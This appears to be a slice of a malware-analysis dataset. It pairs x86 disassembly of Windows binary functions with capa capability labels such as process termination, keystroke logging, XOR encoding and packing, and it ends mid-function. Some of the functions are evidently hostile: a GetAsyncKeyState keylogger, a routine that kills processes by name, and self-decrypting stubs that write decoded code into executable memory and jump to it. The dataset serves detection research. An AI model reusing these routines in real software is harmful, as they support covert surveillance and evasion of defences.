joyce8/EMBER2024-capa huggingface dataset:
Function at 0x66fc54
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00409dec
xor eax, eax
push ebp
push 0x66fdd5
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
xor edx, edx
mov eax, 2
call fcn.0066b9cc
mov esi, eax
mov dword [ebp - 0x230], 0x22c
lea edx, [ebp - 0x230]
mov eax, esi
call fcn.0066b9ec
mov ebx, eax
jmp 0x66fda1
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x20c]
mov ecx, 0x104
call fcn.0040aa30
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.00425ea8
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x234]
call fcn.00424338
mov eax, dword [ebp - 0x234]
push eax
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 4]
call fcn.00424338
mov edx, dword [ebp - 0x240]
pop eax
call fcn.0040ad18
je 0x66fd78
lea eax, [ebp - 0x248]
lea edx, [ebp - 0x20c]
mov ecx, 0x104
call fcn.0040aa30
mov eax, dword [ebp - 0x248]
lea edx, [ebp - 0x244]
call fcn.00424338
mov eax, dword [ebp - 0x244]
push eax
lea edx, [ebp - 0x24c]
mov eax, dword [ebp - 4]
call fcn.00424338
mov edx, dword [ebp - 0x24c]
pop eax
call fcn.0040ad18
jne 0x66fd92
push 0
mov eax, dword [ebp - 0x228]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edi, eax
lea edx, [ebp - 0x230]
mov eax, esi
call fcn.0066ba0c
mov ebx, eax
test ebx, ebx
jne 0x66fcd3
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x66fddc
lea eax, [ebp - 0x24c]
mov edx, 7
call fcn.00409d68
lea eax, [ebp - 4]
call fcn.00409d08
ret

Function at 0x66fef4
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00409dec
xor eax, eax
push ebp
push 0x66ff7c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x22]
xor ecx, ecx
mov edx, 0x1e
call fcn.00407860
mov dword [ebp - 0x1e], 3
mov word [ebp - 0x12], 0x14
lea eax, [ebp - 0x28]
mov ecx, 0x66ff98
mov edx, dword [ebp - 4]
call fcn.0040abe0
mov eax, dword [ebp - 0x28]
call fcn.0040a978
mov dword [ebp - 0x1a], eax
lea eax, [ebp - 0x22]
push eax
call sub.shell32.dll_SHFileOperationW
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x66ff83
lea eax, [ebp - 0x28]
call fcn.00409d08
lea eax, [ebp - 4]
call fcn.00409d08
ret
Function at 0x6834dc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x6836cb
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x683506
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x6836ea
test esi, esi
jne 0x683517
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x6836ea
mov eax, dword [0x6f8e38]
cmp ebx, dword [eax]
jbe 0x68352d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x6836ea
mov edi, ebx
dec edi
mov edx, edi
mov eax, dword [0x6f8710]
mov eax, dword [eax]
call fcn.0065a3e0
test al, al
jne 0x68354f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x6836ea
push esi
call sub.user32.dll_GetAsyncKeyState
test ax, ax
je 0x6836c1
mov eax, dword [0x6f8db0]
cmp dword [eax + ebx*4 - 4], 0
jne 0x68364c
mov eax, dword [0x6f8e4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3ec]
xor edx, edx
call fcn.005a7dc0
mov cl, 1
mov dl, 1
mov eax, ebx
call fcn.0067eb38
mov eax, dword [0x6f8860]
mov byte [eax], 1
mov edx, edi
mov eax, dword [0x6f8710]
mov eax, dword [eax]
mov cl, 1
call fcn.0065a298
mov eax, dword [0x6f8860]
mov byte [eax], 0
mov eax, dword [0x6f8db0]
mov dword [eax + ebx*4 - 4], 1
mov eax, dword [0x6f88b4]
mov eax, dword [eax + ebx*4 - 4]
mov edx, 0x683700
call fcn.0040ad18
je 0x6835e4
mov eax, dword [0x6f88b4]
mov eax, dword [eax + ebx*4 - 4]
mov edx, 0x683734
call fcn.0040ad18
jne 0x68362b
mov eax, dword [0x6f8bf0]
mov eax, dword [eax]
call fcn.0062a320
push 0x96
call sub.kernel32.dll_Sleep
mov eax, dword [0x6f8ef8]
mov eax, dword [eax + ebx*4 - 4]
mov edx, 0x68375c
call fcn.0040ad18
je 0x68362b
mov edx, ebx
dec edx
mov eax, dword [0x6f8710]
mov eax, dword [eax]
xor ecx, ecx
call fcn.0065a298
mov eax, dword [0x6f8db0]
xor edx, edx
mov dword [eax + ebx*4 - 4], edx
mov eax, dword [0x6f8e4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3ec]
mov dl, 1
call fcn.005a7dc0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x6836ea
mov eax, dword [0x6f8db0]
cmp dword [eax + ebx*4 - 4], 1
jne 0x6836c1
mov eax, dword [0x6f8e4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3ec]
xor edx, edx
call fcn.005a7dc0
mov cl, 1
xor edx, edx
mov eax, ebx
call fcn.0067eb38
mov eax, dword [0x6f8860]
mov byte [eax], 1
mov edx, ebx
dec edx
mov eax, dword [0x6f8710]
mov eax, dword [eax]
xor ecx, ecx
call fcn.0065a298
mov eax, dword [0x6f8860]
mov byte [eax], 0
mov eax, dword [0x6f8db0]
xor edx, edx
mov dword [eax + ebx*4 - 4], edx
mov eax, dword [0x6f8e4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3ec]
mov dl, 1
call fcn.005a7dc0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x6836ea
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x6836ea
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x46eb0ab8
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x1f660bdb
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x42d470
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x42d492
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42d499
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42d488
mov eax, 1
add ebx, ebx
jne 0x42d4ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42d4a0
jne 0x42d4bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42d4a0
xor ecx, ecx
sub eax, 3
jb 0x42d4d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42d542
mov ebp, eax
add ebx, ebx
jne 0x42d4db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42d4e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42d50c
inc ecx
add ebx, ebx
jne 0x42d4f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42d4ed
jne 0x42d509
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42d4ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42d52c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42d51d
jmp 0x42d48e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42d52c
add edi, ecx
jmp 0x42d48e
pop esi
mov edi, esi
mov ecx, 0xaf6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42d54a
cmp byte [edi], 9
jne 0x42d54a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42d54f
lea edi, [esi + 0x2a000]
mov eax, dword [edi]
or eax, eax
je 0x42d5be
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3b654]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3b6cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42d57c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3b6d0]
or eax, eax
je 0x42d5b8
mov dword [ebx], eax
add ebx, 4
jmp 0x42d599
call dword [esi + 0x3b6d4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x42d5ef
cmp al, 0xef
ja 0x42d5e2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x42d5c4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x42d5d1
popal
jmp 0x414ca0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4051ec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x401548]
jne 0x4055a4
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x421858], eax
mov dword [0x421854], ecx
mov dword [0x421850], edx
mov dword [0x42184c], ebx
mov dword [0x421848], esi
mov dword [0x421844], edi
mov word [0x421870], ss
mov word [0x421864], cs
mov word [0x421840], ds
mov word [0x42183c], es
mov word [0x421838], fs
mov word [0x421834], gs
pushfd
pop dword [0x421868]
mov eax, dword [ebp]
mov dword [0x42185c], eax
mov eax, dword [ebp + 4]
mov dword [0x421860], eax
lea eax, [ebp + 8]
mov dword [0x42186c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4217a8], 0x10001
mov eax, dword [0x421860]
mov dword [0x42175c], eax
mov dword [0x421750], 0xc0000409
mov dword [0x421754], 1
mov eax, dword [0x401548]
mov dword [ebp - 0x328], eax
mov eax, dword [0x421228]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4217a0], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401554
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4217a0], 0
jne 0x405690
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x4054e2
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x41e288
call fcn.0040597e
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
cmp dword [0x421be8], ebx
jne 0x40527d
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], ebx
mov edi, 0x421bdc
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x4052b7
cmp eax, esi
jne 0x4052aa
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x4052ba
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x405291
xor esi, esi
inc esi
mov eax, dword [0x421bd8]
cmp eax, esi
jne 0x4052cd
push 0x1f
call sub.msvcr100.dll__amsg_exit
pop ecx
jmp 0x405308
mov eax, dword [0x421bd8]
test eax, eax
jne 0x405302
mov dword [0x421bd8], esi
push 0x4012d8
push 0x4012c4
call sub.msvcr100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x405308
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x405422
mov dword [0x421744], esi
mov eax, dword [0x421bd8]
cmp eax, esi
jne 0x40532c
push 0x4012c0
push 0x4012a8
call sub.msvcr100.dll__initterm
pop ecx
pop ecx
mov dword [0x421bd8], 2
cmp dword [ebp - 0x24], ebx
jne 0x405339
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x421bec], ebx
je 0x40535a
push 0x421bec
call main
pop ecx
test eax, eax
je 0x40535a
push ebx
push 2
push ebx
call dword [0x421bec]
mov eax, dword [sym.imp.msvcr100.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4053b3
cmp al, bl
je 0x405373
cmp dword [ebp - 0x1c], ebx
jne 0x4053b3
mov al, byte [esi]
cmp al, bl
je 0x405383
cmp al, 0x20
ja 0x405383
inc esi
mov dword [ebp - 0x20], esi
jmp 0x405373
test byte [ebp - 0x40], 1
je 0x40538f
movzx eax, word [ebp - 0x3c]
jmp 0x405392
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x421740], eax
cmp dword [0x421734], ebx
jne 0x405408
push eax
call dword [sym.imp.msvcr100.dll_exit]
cmp al, 0x22
jne 0x4053c2
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcr100.dll__ismbblead]
pop ecx
test eax, eax
je 0x4053d5
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x405361
cmp dword [0x421744], ebx
jne 0x405416
call dword [sym.imp.msvcr100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x421740]
call fcn.004059c3
ret
call main
jmp 0x40524f
Function at 0x40b86a
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x1c
test byte [0x421b00], 0x20
push esi
push edi
mov esi, ecx
je 0x40b8ab
push dword [ebx + 0xc]
push dword [ebx + 8]
push 0x4017f0
push dword [0x421b0c]
push dword [0x421b08]
call main
push 0x1c135e
call main
lea eax, [esi + 8]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 4], eax
mov eax, ecx
shr eax, 0xc
dec eax
shl eax, 0xc
xor eax, ecx
mov edi, ecx
and eax, 0x7f000
xor ecx, eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x18], ecx
push ebx
mov esi, dword [ebp - 4]
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
lock cmpxchg8b qword [esi]
pop ebx
mov ecx, eax
cmp ecx, edi
jne 0x40b8c0
cmp edx, dword [ebp - 0xc]
jne 0x40b8c0
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0xc
Function at 0x412603
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x412612
pop dword [ebp - 8]
mov eax, 0x651283ce
sub eax, 0x64d15dbc
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xd9247b3e
add dword [ebp - 0x18], 0x752dca0d
mov dword [ebp - 0x14], 0xb0b923fa
sub dword [ebp - 0x14], 0x7e85d7b5
mov dword [ebp - 0x10], 0xb4496acc
sub dword [ebp - 0x10], 0x67fd269e
mov dword [ebp - 0xc], 0xbf79cdb6
sub dword [ebp - 0xc], 0xbf79cdb6
lea eax, [ebp - 0x18]
push eax
mov eax, 0x3f052596
sub eax, 0x3ec51386
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xa6afd951
add dword [ebp - 0x18], 0xcdc29005
mov dword [ebp - 0x14], 0x327669ad
sub dword [ebp - 0x14], 0xf10a0838
mov dword [ebp - 0x10], 0xf58a46ad
sub dword [ebp - 0x10], 0x921ada41
mov dword [ebp - 0xc], 0xa753a27c
add dword [ebp - 0xc], 0x58ac5d84
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x8122d172
add eax, 0x7f1d400a
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3c549
push 0
call eax
mov ecx, 0xd8708b92
add ecx, 0x278fb9ab
xor ebx, ebx
add ebx, eax
mov esi, 0x424c00
add esi, dword [ebp - 8]
mov edi, 0x2d05d6f
sub edi, 0x36b3d57
xor dword [ebp - 4], eax
mov edx, dword [esi]
add dword [ebp - 4], ecx
add edx, edi
xor dword [ebp - 4], 0x472bc9ed
mov dword [ebx], edx
sub dword [ebp - 4], edi
add ebx, 4
add esi, 0xb27d783f
add esi, 0x4d8287c5
loop 0x412730
add eax, 0xc892a2d
sub eax, 0xc882266
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x4133ab
Capabilities:
Encode data using xor

Disassembly:
push esi
lea esi, [ecx + 0x10]
mov edx, dword [esi]
mov eax, edx
and eax, 0xffffc000
add eax, 0x4000
xor eax, edx
and eax, 0xfffc000
mov ecx, edx
xor edx, eax
mov eax, ecx
lock cmpxchg dword [esi], edx
mov edx, eax
cmp edx, ecx
jne 0x4133b1
pop esi
ret
Function at 0x41beed
Capabilities:
Query environment variable

Disassembly:
push 0x220
mov eax, 0x41e0a6
call fcn.00405b93
mov esi, 0x104
push esi
lea eax, [ebp - 0x21c]
push eax
push 0x402c58
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x41bf1f
mov al, 1
jmp 0x41bfba
cmp eax, esi
jae 0x41bfb8
and dword [ebp - 0x220], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x221]
push 0x421748
push 8
mov byte [ebp - 4], 1
mov dword [ebp - 0x228], eax
call fcn.0040554a
pop ecx
pop ecx
test eax, eax
jne 0x41bf59
call fcn.00405d2c
mov dword [ebp - 0x22c], eax
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.0041c236
mov esi, eax
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, esi
mov byte [ebp - 4], 1
mov dword [ebp - 0x220], esi
call fcn.0041c274
mov dword [0x421bc4], esi
jmp 0x41bf18
xor al, al
call fcn.00405bec
ret

Function at 0x41ca34
Capabilities:
Write file on windows

Disassembly:
push 0xc
mov eax, 0x41e1a6
call fcn.00405af4
mov ebx, ecx
mov esi, dword [ebp + 8]
mov eax, dword [esi + 8]
mov edi, dword [eax + 8]
push 1
lea eax, [ebx + 0x58]
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp + 8], edi
call main
mov eax, dword [ebx + 0x70]
and dword [ebp - 4], 0
mov dword [edi + 8], eax
inc dword [ebx + 0x70]
push dword [edi + 8]
lea ecx, [ebx + 0x3c]
call main
push esi
mov ecx, eax
call main
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.0041ce44
push 5
pop ecx
lea eax, [esi + 0xc]
push eax
mov edi, eax
mov eax, dword [ebp + 8]
push 0
mov esi, 0x402dd8
rep movsd dword es:[edi], dword [esi]
push dword [eax + 0xc]
push eax
push dword [ebx + 0x14]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x41cac0
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x41cac0
call fcn.00405ebd
call fcn.00405bcc
ret 4
Function at 0x41cb19
Capabilities:
Read file on windows

Disassembly:
push 8
mov eax, 0x41e1c9
call fcn.00405af4
mov ebx, ecx
cmp byte [ebx + 0x21], 0
jne 0x41cbc0
cmp dword [ebp + 8], 0x10
jne 0x41cc8d
mov eax, dword [ebx + 0x80]
cmp eax, 0x10
jb 0x41cc8d
lea esi, [ebx + 0x24]
push eax
mov ecx, esi
call main
cmp dword [esi], 0
jne 0x41cb5f
call fcn.00405d2c
push dword [ebp + 8]
lea eax, [ebx + 0x74]
push eax
push dword [ebx + 0x80]
push dword [esi]
call dword [sym.imp.msvcr100.dll_memcpy_s]
mov edx, dword [ebx + 0x80]
add esp, 0x10
cmp edx, dword [ebp + 8]
je 0x41cbc0
push 5
pop ecx
lea eax, [ebx + 0x28]
push eax
mov edi, eax
lea eax, [ebp + 8]
push eax
mov esi, 0x402dd8
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x24]
lea eax, [edx - 0x10]
push eax
lea eax, [ecx + 0x10]
push eax
push dword [ebx + 0x14]
mov word [ebx + 0x20], 0x101
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x41cc8d
mov byte [ebx + 0x20], al
jmp 0x41cc8d
lea edi, [ebx + 0x24]
mov eax, dword [edi]
test dword [eax + 4], 0x2000000
je 0x41cc15
push 0x421748
push dword [eax + 0xc]
call main
pop ecx
pop ecx
mov ecx, eax
test ecx, ecx
je 0x41cb5a
mov eax, dword [edi]
push dword [eax + 0xc]
mov dword [ebp - 0x10], ecx
push eax
push ecx
call sub.msvcr100.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
mov ecx, ebx
call main
cmp dword [ebp - 0x10], 0
je 0x41cc76
push dword [ebp - 0x10]
call sub.msvcr100.dll_void___cdecl_operator_delete___void__
pop ecx
jmp 0x41cc76
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
push dword [ebx + 0x7c]
mov ecx, ebx
call main
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x41cc67
mov eax, dword [edi]
and dword [ebp - 0x10], 0
test byte [eax + 7], 1
je 0x41cc49
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
test eax, eax
js 0x41cc5d
jmp 0x41cc56
mov ecx, dword [esi + 8]
mov eax, dword [ecx]
push edi
call dword [eax + 0xc]
test al, al
jne 0x41cc5d
mov dword [ebp - 0x10], 0x8007000d
push dword [ebp - 0x10]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xc]
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x41cc76
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov eax, dword [edi]
test eax, eax
je 0x41cc86
and dword [edi], 0
push eax
call main
pop ecx
mov ecx, ebx
call main
call fcn.00405bcc
ret 4

Function at 0x401000
Capabilities:
Log keystrokes via polling

Disassembly:
mov ecx, 0x5bfe
mov eax, ecx
mov dword [0x4b4752], eax
mov dword [0x4b4739], 0
mov eax, dword [0x4b4739]
mov dword [0x4b48ef], eax
mov dword [0x4b49c1], 0
mov eax, dword [0x4b49c1]
mov eax, ebx
xor ebx, eax
test dword [0x4b428b], eax
jne 0x401045
mov ebx, 0x19c2
sub eax, ebx
dec eax
shl eax, 1
ror eax, 1
or eax, dword [0x4b43b9]
je 0x401077
sub eax, dword [0x4b47dd]
dec eax
mov ebx, 0x11e8
add eax, ebx
dec eax
or eax, ebx
mov ebx, 0x1dd0
sub eax, ebx
add eax, dword [0x4b4a1d]
xor ebx, eax
sub eax, dword [0x4b46db]
shr eax, 1
add dword [0x4b42db], eax
jmp fcn.00402754
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43c030]
jne 0x401073
repz ret
jmp fcn.00401b61

Function at 0x40856b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040255c
and dword [ebp - 4], 0
cmp dword [0x43e8b4], 0
mov ebx, eax
jne 0x40861c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4086cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4086cd
push eax
call fcn.004024ea
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43e8b4], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43e8b8], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43e8bc], eax
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x43e8c4], eax
test eax, eax
je 0x40861c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x43e8c0], eax
mov eax, dword [0x43e8c0]
cmp eax, ebx
je 0x408674
cmp dword [0x43e8c4], ebx
je 0x408674
push eax
call fcn.00402565
push dword [0x43e8c4]
mov esi, eax
call fcn.00402565
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408674
test edi, edi
je 0x408674
call esi
test eax, eax
je 0x40866b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40866b
test byte [ebp - 0xc], 1
jne 0x408674
or dword [ebp + 0x10], 0x200000
jmp 0x4086ad
mov eax, dword [0x43e8b8]
cmp eax, ebx
je 0x4086ad
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4086ad
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4086ad
mov eax, dword [0x43e8bc]
cmp eax, ebx
je 0x4086ad
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4086ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43e8b4]
call fcn.00402565
pop ecx
test eax, eax
je 0x4086cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4086cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ae80
Capabilities:
Set console window title

Disassembly:
mov eax, dword [0x2c1c264]
sub esp, 0x1c
push ebx
mov ebx, dword [0x2c1bf88]
push esi
mov esi, dword [0x43cf70]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40aeb0
push str.vagipibelo
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2c1c264]
mov dword [0x43ea14], esi
cmp eax, 0x114e
jne 0x40aeda
lea eax, [esp + 0xc]
push eax
push str.wakotavun
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2c1c264]
